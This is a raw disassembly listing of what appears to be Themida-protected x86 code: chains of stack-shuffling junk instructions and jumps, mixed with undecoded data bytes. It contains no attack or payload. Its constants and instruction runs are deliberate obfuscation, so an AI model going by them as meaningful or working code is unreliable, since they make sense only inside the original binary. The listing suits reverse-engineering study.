loc_5639BC: ; CODE XREF: Themida_:0055F77Aj
add ebp, 2
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push edx
jmp loc_560C3B
; ---------------------------------------------------------------------------
dw 0B005h
dd 2D0AC656h, 30054810h, 5024148Bh, 0EC83E089h, 24348904h
dd 0FF5A7CE9h, 80EB00FFh, 0C8B76C3h, 4C48324h, 0FF5005E9h
dd 0A7E95BFFh, 59FFFF03h, 8324348Bh, 8C6804C4h, 89000066h
dd 68552404h, 578F0030h, 9842E95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563A1E: ; CODE XREF: Themida_:0055BDD6j
pop eax
pop edi
xor edi, 74240CACh
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_55EFFE
; ---------------------------------------------------------------------------
dw 0D301h
dd 241C335Ah, 0E9241C31h, 0FFFEDBA8h
; ---------------------------------------------------------------------------
loc_563A4C: ; CODE XREF: Themida_:00559A0Fj
mov ecx, esi
pop esi
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], ecx
push 87E1E4Ah
pop ecx
and ecx, 22963785h
push ebp
jmp loc_5626C2
; ---------------------------------------------------------------------------
loc_563A70: ; CODE XREF: Themida_:0055875Fj
mov ecx, [esp]
add esp, 4
jmp loc_55E8C4
; ---------------------------------------------------------------------------
loc_563A7E: ; CODE XREF: Themida_:00565CE1j
mov edi, eax
jmp loc_555A2A
; ---------------------------------------------------------------------------
loc_563A85: ; CODE XREF: Themida_:0055DA78j
push esp
jmp loc_55E919
; ---------------------------------------------------------------------------
db 81h
dd 5A9195F6h, 15B8E95Ah, 2C5BFFFFh, 0EC8153FFh, 4, 0B2241489h
dd 300FB338h, 3EE95AD3h
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563AAF: ; CODE XREF: Themida_:005614A3j
push ebx
jmp loc_5543E2
; ---------------------------------------------------------------------------
db 0Fh, 0B6h, 0C8h
dd 2C5E9h, 0E2895200h, 4C281h, 0C2810000h, 4, 5C241487h
dd 4C381h, 0EC810000h, 4, 0FFC8CEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563AE1: ; CODE XREF: Themida_:0056500Bj
sub edi, 17296259h
push ecx
mov ecx, 0AA742C33h
add edi, ecx
pop ecx
add edx, 146966B2h
add edx, edi
jmp loc_5635F5
; ---------------------------------------------------------------------------
db 0BEh, 0B4h, 0Ch
dd 0F3097F28h, 87B9E95Eh, 0BB53FFFFh, 4, 3E9DA01h
db 2Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563B17: ; CODE XREF: Themida_:00556214j
xchg ecx, [esp]
mov esp, [esp]
jmp loc_555939
; ---------------------------------------------------------------------------
loc_563B22: ; CODE XREF: Themida_:0056144Fj
add bx, ax
jmp loc_55AFEA
; ---------------------------------------------------------------------------
loc_563B2A: ; CODE XREF: Themida_:00560ECAj
add eax, esi
pop esi
xchg eax, [esp]
pop esp
pop eax
push 1011h
jmp loc_55E346
; ---------------------------------------------------------------------------
dd 0B5510AB7h, 0FE63E9C7h, 0C300FFFFh, 0FFD946E9h, 4C281FFh
dd 83000000h, 143304EAh, 0DAC1E924h, 7EB8FFFFh, 8118282Ah
dd 684190EAh, 81C22902h, 684190C2h, 75E95802h, 29FFFF4Eh
dd 24348BF0h, 0FFF4ADE9h, 81E7D1FFh, 5F6DE2C7h, 5FFB0167h
dd 4C381h, 1C330000h, 0AE31E924h, 0CA31FFFFh, 6BF28159h
dd 89F2FD03h, 0BF575AD7h, 33057499h, 0FF536AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563BB1: ; CODE XREF: Themida_:00557FC8j
sub edi, eax
pop eax
jmp loc_551987
; ---------------------------------------------------------------------------
db 1, 0E8h, 0E9h
dd 0FFFFCD8Fh
dword_563BC0 dd 240C8B66h, 68C168h, 241C8900h, 65B168h, 24248900h, 0FF8C9DE9h
; DATA XREF: Themida_:00550764o
dd 8EC581FFh, 2984DB07h, 34FF5DE9h, 0D93BE924h, 0B850FFFFh
dd 4, 8758C701h, 2D5C243Ch, 16151C6Dh, 4EC81h, 0C890000h
dd 0E0895024h, 405h, 93E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_563C12: ; CODE XREF: Themida_:00563157j
xor ecx, [esp]
jmp loc_5564B8
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 0E1F68h, 0E6ECE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563C2A: ; CODE XREF: Themida_:00564BF6j
add ebp, ebx
pop ebx
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
and eax, ebp
jmp loc_55B4F2
; ---------------------------------------------------------------------------
dd 221668h, 241C8900h, 20DEA3BBh, 5BD829DCh, 5E58C501h
dd 2C8BEB29h, 6707E924h, 0CA01FFFFh, 4BF5759h, 1000000h
dd 14875FFAh, 24248B24h, 0E95A5452h, 0FFFEF783h, 8158C229h
dd 5C892EAh, 9DE9525Fh
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563C9F: ; CODE XREF: Themida_:0055706Fj
pop edi
jmp loc_55650D
; ---------------------------------------------------------------------------
db 52h, 0BAh, 2
dd 81327F00h, 62FCFC2h, 3E2C175h, 7E84EA81h, 0D0293C29h
dd 2404875Ah, 242C895Ch, 0F52AE951h, 0BB53FFFFh, 4, 875BDD29h
dd 88E9242Ch, 81FFFEF2h, 4C4h, 4C58300h, 0FF88BCE9h, 4EC83FFh
dd 89242C89h, 0E08950E5h, 405h, 4E88300h, 0FEF834E9h, 0EB8159FFh
dd 2B1C1B33h, 652E9h, 240C3300h, 33240C31h, 248B240Ch
dd 48B6624h, 4EC8324h, 0E9240C89h, 0FFFF2149h, 4244481h
dd 54507977h, 0FF5E66E9h, 66F42CFFh, 2434FF59h, 83240C8Bh
dd 0EDE904C4h
db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563D47: ; CODE XREF: Themida_:00554E64j
pop edi
shr esi, 6
shl esi, 6
jmp loc_56466F
; ---------------------------------------------------------------------------
loc_563D53: ; CODE XREF: Themida_:00560DAEj
and eax, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
or eax, eax
jnz loc_55F83A
sub esp, 4
mov [esp], ebp
jmp loc_5592FF
; ---------------------------------------------------------------------------
word_563D7A dw 77FFh ; DATA XREF: Themida_:00550860o
dd 0CC2DE940h, 0A868FFFEh, 8900002Fh, 20E9240Ch
db 0CCh, 0FEh, 0FFh
byte_563D8F db 66h ; DATA XREF: Themida_:005506E0o
dd 68240C8Bh, 59D7h, 54240489h, 0FF71ADE9h, 240C8BFFh
dd 4C481h, 0FFE90000h
db 46h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563DAF: ; CODE XREF: Themida_:00553A80j
pop edi
sub ebp, 1
push esi
mov esi, 3FA0CB9h
xor ebp, esi
pop esi
mov esi, ebp
pop ebp
jmp loc_55A804
; ---------------------------------------------------------------------------
dd 8104C483h, 4C1h, 72B76800h, 14890000h
db 24h, 51h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
jmp loc_557052
; ---------------------------------------------------------------------------
db 81h
dd 976CD3EEh, 0B929E957h, 48FFFFFh, 0B60F5C24h, 9B1CE9C0h
dd 2B2DFFFFh, 0FF706F40h, 34FF2434h, 0C652E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563E06: ; CODE XREF: Themida_:005637ADj
pop ebx
sub [esp+4], ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
mov ecx, [esp]
jmp loc_564FA5
; ---------------------------------------------------------------------------
loc_563E22: ; CODE XREF: Themida_:00552325j
xor edi, 1227DFD5h
mov esi, edi
mov edi, [esp]
jmp loc_55E705
; ---------------------------------------------------------------------------
dw 815Fh
dd 4C4h, 4C48300h, 0FFB840E9h, 4BAFFh, 0D5010000h, 0FF07F9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563E4D: ; CODE XREF: Themida_:00552995j
pop ecx
xor eax, 35075577h
jmp loc_5616DD
; ---------------------------------------------------------------------------
dd 6C06BB53h, 31E93123h, 80FFFF72h, 0E32883C3h, 6683EB80h
dd 0E924048Bh, 0FFFED2BBh
; ---------------------------------------------------------------------------
loc_563E74: ; CODE XREF: Themida_:00551D7Fj
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 188B5906h
dec ecx
push ebp
mov ebp, 7125725Eh
jmp loc_5563A4
; ---------------------------------------------------------------------------
db 29h
dd 8AE95FFAh, 66FFFF3Ch, 0B3241C89h, 66D82801h, 52241C8Bh
dd 0FF4193E9h, 4C581FFh, 68000000h, 21D6h, 0FEF485E9h
dd 87EB81FFh, 10C437Ch, 384FE9D3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563ECA: ; CODE XREF: Themida_:00557674j
pop ecx
add ebx, ebp
jmp loc_556F13
; ---------------------------------------------------------------------------
dw 0D601h
dd 0FF98D8E9h, 5EF389FFh, 0DAE9DD09h, 59FFFFA3h, 0FFB030E9h
dd 8BC830FFh, 0C481240Ch, 4, 90B65251h, 8057CE80h, 0CEFE72CEh
dd 0F680EED0h, 0E4B4500Ah, 4EC81h, 14890000h, 0E3885324h
dd 0E9D88850h, 0FFFFE86Fh, 77D9F181h, 0C8214488h, 12E4E9h
dd 1DED8100h, 1385D24h, 242C8BEFh, 4C481h, 0C7830000h
dd 243C8704h, 0DFBF575Ch, 297C6D02h, 0A6E95FFAh
db 0FCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_563F4F: ; CODE XREF: Themida_:00550EA9j
push eax
mov eax, 26B34B4Ah
not eax
shr eax, 7
neg eax
sub eax, 51790F09h
push edx
mov edx, 12C86F54h
sub edx, 5C046999h
add eax, edx
pop edx
sub esi, eax
jmp loc_55E265
; ---------------------------------------------------------------------------
db 89h
dd 80E9241Ch, 5DFFFEEBh, 6E85C281h, 814A47C7h, 7948AFCAh
dd 45E2813Dh, 81780C6Bh, 662769E2h, 0C7DDE951h, 835FFFFFh
dd 148904ECh, 2474FF24h, 24148B04h, 4C481h, 48F0000h, 0ADE95C24h
dd 8BFFFF52h, 0C4832414h, 7FE98104h, 8129A910h, 4ECh, 240C8900h
dd 0FFCD1EE9h, 0ED815AFFh, 5DA93F45h, 43E9E989h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563FE3: ; CODE XREF: Themida_:0055D2F1j
push edi
mov edi, 4
mov edx, edi
mov edi, [esp]
add esp, 4
jmp loc_5587D3
; ---------------------------------------------------------------------------
dw 1C31h
dd 241C3324h, 5124248Bh, 6368D588h, 89000039h, 5D54242Ch
dd 4738B850h, 14E933F2h, 0BAFFFFA3h, 129D2C70h, 0BCEEA81h
dd 0D0299544h, 4D7E2D5Ah, 29E91D8Bh, 58FFFF5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5522F3
; ---------------------------------------------------------------------------
db 59h, 66h, 50h
dd 0E32879B4h, 79E95866h, 0C0FFFF46h, 525106ECh, 0F6801FB6h
dd 8CF6809Fh, 0C6FED6F6h, 0E981EE80h, 0FFFEF0ECh
; ---------------------------------------------------------------------------
loc_564074: ; CODE XREF: Themida_:005629D8j
pop edx
jmp loc_557311
; ---------------------------------------------------------------------------
dw 4BDh
dd 1000000h, 1C685DEAh, 89000008h, 6855241Ch, 6DA525E3h
dd 0FF47B1E9h, 0B703B2FFh, 0B389E9C8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56409E: ; CODE XREF: Themida_:00552103j
pop esi
jmp loc_55106C
; ---------------------------------------------------------------------------
aI4H5r db '┴4$h5r',0
align 4
dd 0BB241C89h, 79C42770h, 795ABF57h, 0D7F7414Ah, 1ABB5350h
dd 0E92EA443h, 0FFFFED1Fh, 0E9F7215Fh, 0FFFF3B71h, 0F028C1B6h
dd 0C399E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5640DA: ; CODE XREF: Themida_:005561DDj
add eax, edx
add eax, 2FD0859h
pop edx
jmp loc_554614
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24048900h, 0EF57E954h, 0F531FFFFh, 0D7E9575Eh
dd 0BEFFFFD5h, 7DF820FAh, 81DEF746h, 0DE665EEEh, 7AE68132h
dd 5550880Fh, 0FF605BE9h, 567EBBFFh, 0E3C1035Bh, 0D6E95607h
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564127: ; CODE XREF: Themida_:0055D200j
sub edi, eax
pop eax
xor edi, 70C0B724h
neg edi
push 7598h
jmp loc_552DC7
; ---------------------------------------------------------------------------
dd 5B5E5356h, 0EB9F681h, 0C6812D2Ch, 0CCF64C9Ah, 8904EC83h
dd 0CCE9241Ch
db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564157: ; CODE XREF: Themida_:005626D3j
push edx
mov edx, 4
add edi, edx
jmp loc_556936
; ---------------------------------------------------------------------------
dd 8324048Fh, 58042404h, 2D98BD55h, 0C5814771h, 0B88ED26Ch
dd 575DE801h, 132368BFh, 0D506E93Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564186: ; CODE XREF: Themida_:00560877j
push eax
mov eax, 4BC91FD8h
not eax
push edx
jmp loc_561866
; ---------------------------------------------------------------------------
dd 8904EC83h, 4832424h, 68580424h, 4666h, 0BD242C89h, 3FFE776Ch
dd 8898C581h, 8957C001h, 4C781E7h, 83000000h, 3C8704EFh
dd 0CECCE924h, 0DF89FFFEh, 0FFF830E9h, 33E954FFh, 33FFFFB7h
dd 1CE92404h
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5641DB: ; CODE XREF: Themida_:005636E2j
push esi
mov esi, edi
mov ebx, esi
pop esi
pop edi
add edx, ebx
mov ebx, [esp]
add esp, 4
push edx
jmp loc_55DB21
; ---------------------------------------------------------------------------
loc_5641F0: ; CODE XREF: Themida_:0055E29Cj
add ecx, 11C34782h
sub ecx, 5B340432h
dec ecx
push ebx
jmp loc_5610E7
; ---------------------------------------------------------------------------
db 5Bh
dd 8904EC83h, 0E9542414h, 0FFFFA944h
; ---------------------------------------------------------------------------
loc_564210: ; CODE XREF: Themida_:0055175Aj
mov [esp], eax
push 0F33h
jmp loc_56522F
; ---------------------------------------------------------------------------
db 81h, 0E5h, 0Bh
dd 0E924BD61h, 0FFFFDEFCh
; ---------------------------------------------------------------------------
loc_564228: ; CODE XREF: Themida_:005515A9j
mov [esp], ebx
sub esp, 4
mov [esp], ecx
jmp loc_562F6F
; ---------------------------------------------------------------------------
db 0C1h, 0EEh, 4
dd 5F15CE81h, 0C6813AC6h, 0CB421377h, 0FFFC8CE9h, 81F701FFh
dd 0D44CDAEFh, 0AA685E49h, 0E9000016h, 0FFFFDADDh, 1CE9D129h
db 94h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564267: ; CODE XREF: Themida_:00554F9Fj
dec eax
jmp loc_562FF6
; ---------------------------------------------------------------------------
db 87h, 0DEh, 0F7h
dd 4AB7E9D3h, 0C89FFFFh, 2474FF24h, 6EE95904h
db 8Fh, 2 dup(0FFh)
byte_564283 db 66h ; DATA XREF: Themida_:005507F0o
dd 52240C8Bh, 0C2815A54h, 4, 3304EA83h, 13E92414h, 81FFFF1Dh
dd 4C4h, 0A44BE900h, 0D8F7FFFFh, 913AEE25h, 50AB3515h
dd 0C70170F0h, 83DF0158h, 48904ECh, 5A21B824h, 0C7296061h
dd 0FF8CFCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5642C9: ; CODE XREF: Themida_:00552F9Aj
mov ebx, esp
jmp loc_5651FA
; ---------------------------------------------------------------------------
dword_5642D0 dd 4EC81ADh, 89000000h, 6856241Ch, 61665ADAh, 5E2434FFh
; DATA XREF: Themida_:005506ECo
dd 81E38953h, 4C3h, 0BE565100h, 4, 15EF189h, 1C8759CBh
dd 24248B24h, 1582E9h, 2474FF00h, 240C8B04h, 8F04C483h
dd 0E95C2404h, 0B2Bh, 0C7FE5966h, 0FF95E8E9h, 0FE95AFFh
dd 8BFFFEEDh, 0C4812404h, 4, 2468h, 0E7A9E900h, 0E952FFFEh
dd 0FFFFBD50h, 68241C89h, 2A13h, 0B2241489h, 804EB7AAh
dd 0D70064EFh, 0FF64C780h, 2EE92434h, 1FFFFE5h, 33BF57D3h
dd 0E92B1C1Bh, 0FFFFD7F9h, 81E28952h, 4C2h, 4C28300h, 5C241487h
dd 0C31EF81h, 0CF015585h, 0C31C781h, 33595585h, 3C31243Ch
dd 243C3324h, 0AB0F665Ch, 0E99C2404h, 0FFFFD360h
; ---------------------------------------------------------------------------
loc_5643A0: ; CODE XREF: Themida_:0055DA01j
add edx, 0C8A09A37h
add esi, edx
jmp loc_55CA74
; ---------------------------------------------------------------------------
db 51h, 0B9h, 25h
dd 81070971h, 7FA9EDC1h, 5C28147h, 2958D740h, 5EA81CAh
dd 0E958D740h, 0FFFFB956h, 0E924048Bh, 0FFFF56BCh
; ---------------------------------------------------------------------------
loc_5643D4: ; CODE XREF: Themida_:005659C8j
push esp
pop ebx
push ecx
mov ecx, 4
add ebx, ecx
mov ecx, [esp]
add esp, 4
push edi
mov edi, 4
add ebx, 4BD50BE1h
add ebx, edi
sub ebx, 4BD50BE1h
push dword ptr [esp]
mov edi, [esp]
jmp loc_560263
; ---------------------------------------------------------------------------
loc_564406: ; CODE XREF: Themida_:005584DFj
pop ecx
mov dl, al
pop eax
pop ebx
pop ax
sub bl, 66h
sub bl, 62h
add bl, dl
add bl, 62h
push ax
mov ah, 77h
and ah, 91h
jmp loc_55811F
; ---------------------------------------------------------------------------
dd 8324348Bh, 0B85004C4h, 2, 0FF76C5E9h, 243487FFh, 0FF3905E9h
dd 242C89FFh, 3E2FD468h, 242C8B5Ah, 0E904C483h, 0FFFF57CAh
dd 73B9EB81h, 0C581510Fh, 55571356h, 0FFA7F2E9h, 4BE56FFh
dd 1000000h, 2E685EF0h, 8900003Fh, 74FF2404h, 48B0424h
dd 0E2895224h, 4C281h, 0B8500000h, 4, 5258C201h, 42474FFh
dd 24048F5Ah, 0FF2DAFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564499: ; CODE XREF: Themida_:00550C78j
add ebx, eax
add ebx, 36665965h
mov eax, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_552F99
; ---------------------------------------------------------------------------
word_5644B2 dw 8B66h ; DATA XREF: Themida_:00550760o
dd 6DE92404h, 89FFFF69h, 4C781E7h, 81000000h, 4C7h, 373E900h
dd 48F0000h, 24248B24h, 4F1968h, 242C8900h, 0FF4D2CE9h
dd 48D0F7FFh, 0C43CF405h, 33F50513h, 0EDE924ABh, 33FFFED9h
dd 248B2434h, 3CD36624h, 0ACE99C24h
db 0C4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564503: ; CODE XREF: Themida_:005561C3j
sub ecx, 9B06C2Ch
add ecx, esi
add ecx, 9B06C2Ch
add ecx, 25777AF2h
pop esi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_55AB31
; ---------------------------------------------------------------------------
dw 0C281h
dd 8062325h, 148BD089h, 0EB57E924h, 0DDF7FFFFh, 269DBA52h
dd 0D531304Ch, 0A6BA525Ah, 1640B70h, 0C26DE9D5h, 0EC83FFFFh
dd 242C8904h, 216C8BBDh, 49C58166h, 0E97C513Fh, 179Ah
dd 0E9C5895Ah, 0FFFEFD18h, 42474FFh, 0E924348Bh, 0FFFF4AB5h
dd 0C431E95Ch, 525FFFFEh, 0FF6FA2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564585: ; CODE XREF: Themida_:005586CFj
mov eax, ecx
jmp loc_556D3C
; ---------------------------------------------------------------------------
dd 3FE9515Eh, 1FFFEE7h, 24048BC6h, 4C481h, 68550000h, 0B2Bh
dd 68243C89h, 2, 0FFB0EBE9h, 0BE959FFh
db 0FAh, 0FEh, 0FFh
byte_5645B7 db 0ADh ; DATA XREF: Themida_:005507B4o
dd 0D109ED2Dh, 68D80110h, 4E34h, 0BF243C89h, 422B637Eh
dd 11E4C781h, 0EFC1C4EBh, 0EC835606h, 243C8904h, 534DE1BFh
dd 0B4E95355h, 81FFFECAh, 59DA98EBh, 5BDA29D9h, 0FFF022E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5645F5: ; CODE XREF: Themida_:00559989j
push eax
mov eax, 0AB32308h
jmp loc_562D00
; ---------------------------------------------------------------------------
loc_564600: ; CODE XREF: Themida_:00565328j
not edi
sub edi, 14AA0D44h
dec edi
inc edi
add edi, 0D2959748h
add edx, 7CE6BB6h
add edx, edi
sub edx, 7CE6BB6h
mov edi, [esp]
jmp loc_554F4E
; ---------------------------------------------------------------------------
dw 5768h
dd 89000013h, 81E92424h
db 63h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564633: ; CODE XREF: Themida_:00565288j
mov ebx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_55D6D0
; ---------------------------------------------------------------------------
dw 0CFFEh
dd 0EF80CFFEh, 8BFA284Ah, 0C481241Ch, 4, 0D5885150h, 0FF94DEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564661: ; CODE XREF: Themida_:0055C9CEj
mov ebx, [esp]
add esp, 4
mov eax, [esp]
jmp loc_557009
; ---------------------------------------------------------------------------
loc_56466F: ; CODE XREF: Themida_:00563D4Ej
shr esi, 4
and esi, 38BF67E0h
sub esi, 1F2C15E3h
jmp loc_55AC32
; ---------------------------------------------------------------------------
loc_564683: ; CODE XREF: Themida_:00551792j
pop eax
jmp loc_55B8A9
; ---------------------------------------------------------------------------
db 54h, 5Eh, 0E9h
dd 0FFFEDFD5h
; ---------------------------------------------------------------------------
loc_564690: ; CODE XREF: Themida_:00552701j
push 6202h
jmp loc_565189
; ---------------------------------------------------------------------------
dw 0E95Bh
dd 0FFFF0C69h
; ---------------------------------------------------------------------------
loc_5646A0: ; CODE XREF: Themida_:00560708j
pop esi
sub ecx, 3900202h
jmp loc_557DC3
; ---------------------------------------------------------------------------
dd 53241489h, 318DBD55h, 3EE90712h, 52FFFF7Ah, 0D92BBDBAh
dd 53D2E93Dh, 558FFFFh, 4, 0E904E883h, 0FFFF7F6Ah, 592434FFh
dd 0FF8524E9h, 81EB29FFh, 226627EBh, 0E3B5E920h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5646EA: ; CODE XREF: Themida_:0056296Cj
shr ebp, 3
shr ebp, 8
jmp loc_5606CB
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 3B6568h, 241C8900h, 0B824B7BBh, 4E3C15Fh, 251BEB81h
dd 24E95755h
db 9Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564713: ; CODE XREF: Themida_:005604B6j
push ecx
add dword ptr [esp], 22B216E7h
pop ebx
sub ebx, 22B216E7h
pop ecx
xor [esp+4], ebx
push dword ptr [esp]
pop ebx
jmp loc_55D6B5
; ---------------------------------------------------------------------------
dd 30CF381h, 0DBF74B70h, 3A36C381h, 0C3811770h, 42FCC737h
dd 0FEF860E9h, 4B8FFh, 0C1890000h, 8BCD0158h, 8950240Ch
dd 405E0h, 4050000h, 33000000h, 4312404h, 24043324h, 0FEFB88E9h
dd 240C8BFFh, 0FFB288E9h, 73F381FFh, 13F5D7Bh, 8B04245Ch
dd 0E955241Ch, 0FFFF465Eh
; ---------------------------------------------------------------------------
loc_56478C: ; CODE XREF: Themida_:00562F85j
sub ebx, 559453A8h
jmp loc_55C748
; ---------------------------------------------------------------------------
db 33h
dd 2C31242Ch, 242C3324h, 9CC1385Ch, 0FEC206E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5647A9: ; CODE XREF: Themida_:00558567j
sub edi, 0E5B4576h
pop ebp
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_55EA82
; ---------------------------------------------------------------------------
loc_5647C1: ; CODE XREF: Themida_:0055A947j
push edx
mov edx, 4
mov ecx, edx
jmp loc_557E5F
; ---------------------------------------------------------------------------
dw 2C89h
dd 4ACABD24h, 0EA091840h, 0B2C2815Dh, 8118BA51h, 4A261BF2h
dd 9CB8504Fh, 2937E163h, 3676E9C2h, 248BFFFFh, 48B6624h
dd 0E7895724h, 0FF99B2E9h, 6B13BFFFh, 0C7E951EFh, 5AFFFED9h
dd 0FFFD82E9h, 5AD601FFh, 2434335Fh, 33243431h, 248B2434h
dd 28AC2C24h, 0ECB252D8h, 0C067CA80h, 0C2FE02E2h, 0FF7509E9h
dd 0E18158FFh, 6F8A4F14h, 0FF6CFBE9h, 74FF57FFh, 8F5F0424h
dd 815C2404h, 4D2C7CEAh, 0AD685762h, 8900006Eh, 8DBB241Ch
dd 684BD647h, 6ED5h, 0B8240489h, 65225162h, 1F2F3A35h
dd 5D8F77Dh, 6A29270Dh, 5507E8C1h, 61431FBDh, 0E9D5F705h
dd 0FFFFC7DEh, 81E78957h, 4C7h, 0CE4DE900h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564896: ; CODE XREF: Themida_:005578E5j
xchg ebx, [esp]
mov esp, [esp]
mov [esp], edx
push 5DC975ECh
jmp loc_55D0E9
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 0FF7A76E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5648B1: ; CODE XREF: Themida_:00557ABFj
and ecx, esi
jmp loc_55B6BF
; ---------------------------------------------------------------------------
dd 2268BD55h, 0E9550DDAh, 0FFFF976Ah, 81DEF746h, 33C710C6h
dd 5EF53154h, 0E95DEB89h, 0FFFF600Ch
; ---------------------------------------------------------------------------
loc_5648D8: ; CODE XREF: Themida_:0055E893j
mov [esp], bx
mov bh, 0B9h
sub dl, bh
pop bx
jmp loc_55F3A4
; ---------------------------------------------------------------------------
db 0B1h
dd 66C808A4h, 83240C8Bh, 0C0FE02C4h, 0D4E95366h
db 96h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5648FB: ; CODE XREF: Themida_:005599D1j
push edx
jmp loc_553488
; ---------------------------------------------------------------------------
loc_564901: ; CODE XREF: Themida_:00563612j
pop esp
mov [esp], ecx
push esi
mov esi, esp
push eax
jmp loc_55A079
; ---------------------------------------------------------------------------
dw 0EE01h
dd 0C0C2815Dh, 297A6A51h, 0C0B850F2h, 297A6A51h, 80DCE9C2h
dd 0E997FFFFh, 0FFFFEBBCh, 1EE95854h
db 0DEh, 0FEh, 0FFh
byte_564933 db 0FFh ; DATA XREF: Themida_:00550914o
dd 34FF2434h, 24048B24h, 4C481h, 54510000h, 0FFE328E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564949: ; CODE XREF: Themida_:0055C373j
pop esp
push ebx
jmp loc_55FC12
; ---------------------------------------------------------------------------
loc_564950: ; CODE XREF: Themida_:00565480j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push esi
jmp loc_557D0E
; ---------------------------------------------------------------------------
dd 68h, 242C2900h, 69E9455Dh
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56496F: ; CODE XREF: Themida_:00558FA6j
add ebp, 4928309Dh
pop edi
sub ebp, 16B67A0Bh
sub ebp, 0DBEF43F9h
and eax, ebp
pop ebp
shr eax, 8
xor eax, ecx
push 1D1Ah
mov [esp], eax
jmp loc_56314C
; ---------------------------------------------------------------------------
loc_564997: ; CODE XREF: Themida_:0055FD37j
pop ebx
sub dh, 47h
jmp loc_559734
; ---------------------------------------------------------------------------
aIH db '┴<$h',0
aY db 'Y',0
align 4
dd 0FF9819E9h, 69E95CFFh
db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5649B3: ; CODE XREF: Themida_:0056347Ej
mov eax, 1Ch
push eax
pop edx
pop eax
push 6EC8h
mov [esp], ebx
push 3D51h
mov [esp], edi
jmp loc_55A94C
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFFB5AFh, 34FFFD89h, 0C4835F24h, 5DEB2904h
dd 253DEF81h, 0DF01658Ch, 253DC781h, 34FF658Ch, 0C4835B24h
dd 243C3304h, 0FF4712E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564A01: ; CODE XREF: Themida_:005572F9j
add ecx, eax
sub esp, 4
mov [esp], eax
mov eax, 3CD26B2Dh
xor eax, 21436F23h
add ecx, eax
pop eax
mov eax, [esp]
add esp, 4
jmp loc_5533F0
; ---------------------------------------------------------------------------
loc_564A27: ; CODE XREF: Themida_:0055E8F5j
push esp
pop esi
jmp loc_55D59C
; ---------------------------------------------------------------------------
dw 0FFBEh
dd 81FFFFFFh, 183EA5EAh, 81F20138h, 183EA5C2h, 0C2835E38h
dd 1FC281FFh, 0E926FE02h, 0FFFECAD9h, 0FEBF5AE9h, 4BBD55FFh
dd 31636420h, 0AAD3E9EBh, 0E2C1FFFFh, 5E2C102h, 0FEFE6DE9h
dd 241C8BFFh, 4C481h, 0BE040000h, 1BE9E800h
db 97h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564A7F: ; CODE XREF: Themida_:0056235Ej
pop esp
push eax
sub esp, 4
mov [esp], ecx
mov ch, 4Fh
push bx
jmp loc_559C73
; ---------------------------------------------------------------------------
